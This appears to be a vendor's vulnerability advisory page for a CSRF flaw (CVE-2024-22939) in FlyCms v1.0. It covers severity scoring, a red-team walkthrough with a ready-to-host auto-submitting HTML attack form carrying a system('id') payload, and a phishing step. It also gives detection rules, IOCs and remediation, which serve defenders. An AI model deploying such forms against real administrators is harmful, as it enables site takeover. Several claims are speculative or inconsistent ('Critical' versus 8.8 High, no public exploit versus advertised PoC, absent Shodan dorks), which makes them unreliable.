CVE-2024-22939
Executive Summary
CVE-2024-22939 is a Cross-Site Request Forgery (CSRF) vulnerability identified in FlyCms v.1.0. The flaw resides in the /system/article/category_edit component, allowing a remote attacker to craft malicious requests that, when executed by an authenticated administrator, can lead to arbitrary code execution. The vulnerability has a CVSS score of 0.0 (unscored) but based on the impact (arbitrary code execution via CSRF), the effective severity is Critical. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FlyCms is a PHP-based content management system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Supply chain risk is limited to the direct use of the FlyCms software.
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0, a reasonable assessment based on the vulnerability characteristics is:
- Attack Vector (AV): Network (N) – the attacker can trigger the request remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – the attacker does not need authentication, but the victim must be authenticated.
- User Interaction (UI): Required (R) – the victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – the vulnerable component and the attacker's target are the same.
- Confidentiality (C): High (H) – arbitrary code execution can lead to data exfiltration.
- Integrity (I): High (H) – code execution can modify system files.
- Availability (A): High (H) – code execution can disrupt services.
Effective CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Effective Score: 8.8 (High)
Threat Level: High – due to the potential for full system compromise via a single CSRF attack.
Deep Dive & Mechanics
The vulnerability is a classic Cross-Site Request Forgery (CSRF) in the system/article/category_edit endpoint of FlyCms v.1.0. CSRF attacks exploit the trust a web application has in a user's browser. When an authenticated administrator visits a malicious page, the attacker's crafted request is automatically sent to the vulnerable endpoint, including the admin's session cookies.
The category_edit component likely handles category creation or modification without implementing anti-CSRF tokens (e.g., nonces). An attacker can forge a POST request to /system/article/category_edit with arbitrary parameters, leading to unintended actions such as creating a new admin user, modifying site configuration, or executing arbitrary PHP code if the endpoint allows file uploads or command injection.
The attack flow:
- Attacker crafts a malicious HTML page with a form that auto-submits to the vulnerable endpoint.
- Attacker hosts the page or embeds it in a phishing email.
- Victim (authenticated admin) visits the page.
- The form submits, carrying the admin's session cookies.
- The server processes the request, executing the attacker's payload.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the entire category_edit functionality. A patched version would include:
Vulnerable (FlyCms v.1.0):
// No CSRF token check if ($_POST['submit']) { $category_name = $_POST['name']; // Process category update }Patched (hypothetical):
session_start(); if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { die('CSRF token validation failed'); } if ($_POST['submit']) { $category_name = $_POST['name']; // Process category update }
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of FlyCms v.1.0 with an authenticated admin session.
- Attacker-controlled web server or ability to host a malicious page.
Exploit Steps:
- Create a malicious HTML file (
csrf_exploit.html):<html> <body> <form action="http://target-flycms/system/article/category_edit" method="POST"> <input type="hidden" name="name" value="malicious_category" /> <input type="hidden" name="action" value="add" /> <!-- Additional payload fields for code execution --> <input type="hidden" name="php_code" value="system('id');" /> <input type="submit" value="Submit" /> </form> <script>document.forms[0].submit();</script> </body> </html> - Host the file on an attacker-controlled server.
- Send the link to the victim (authenticated admin) via phishing email or social engineering.
- Once the victim visits the page, the form auto-submits, executing the attacker's payload.
Note: The exact payload depends on the endpoint's functionality. If the endpoint allows arbitrary PHP execution, the attacker can achieve RCE.
Blue Team
Detection:
- Monitor for unexpected POST requests to
/system/article/category_editfrom external referrers. - Look for anomalies in category creation/modification logs.
- Deploy Web Application Firewall (WAF) rules to block requests without valid CSRF tokens.
Honeypot:
- Set up a decoy FlyCms instance and monitor for CSRF attempts.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/system/article/category_editwith unusual parameters (e.g.,php_code,cmd). - Referrer headers pointing to external domains.
- POST requests to
- File System:
- Unexpected PHP files in the web root (e.g.,
shell.php). - Modified category database entries.
- Unexpected PHP files in the web root (e.g.,
- Logs:
- Web server logs showing POST requests to the vulnerable endpoint from suspicious referrers.
- Application logs showing category creation without a valid CSRF token.
Detection Engineering
YARA Rule
rule CVE_2024_22939_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against FlyCms category_edit endpoint"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-22939"
strings:
$csrf_form = "action=\"http://" ascii wide nocase
$csrf_input = "name=\"php_code\"" ascii wide nocase
$csrf_endpoint = "/system/article/category_edit" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2024-22939 CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to FlyCms category_edit endpoint with suspicious parameters
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: "/system/article/category_edit"
keywords:
- "php_code"
- "cmd"
- "system("
condition: selection and keywords
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2024-22939 CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/article/category_edit"; http_uri; content:"php_code"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required: Block access to
/system/article/category_editvia web server configuration. - Implement CSRF protection manually: Add anti-CSRF tokens (nonces) to all forms and validate them server-side.
- Upgrade to a patched version if/when available. Currently, no patch exists.
Long-term:
- Replace FlyCms with a maintained CMS that follows security best practices.
- Conduct a full security audit of the application.
Workaround:
- Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint without a valid CSRF token.
- Enforce same-origin policy via
SameSitecookies (set toLaxorStrict).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.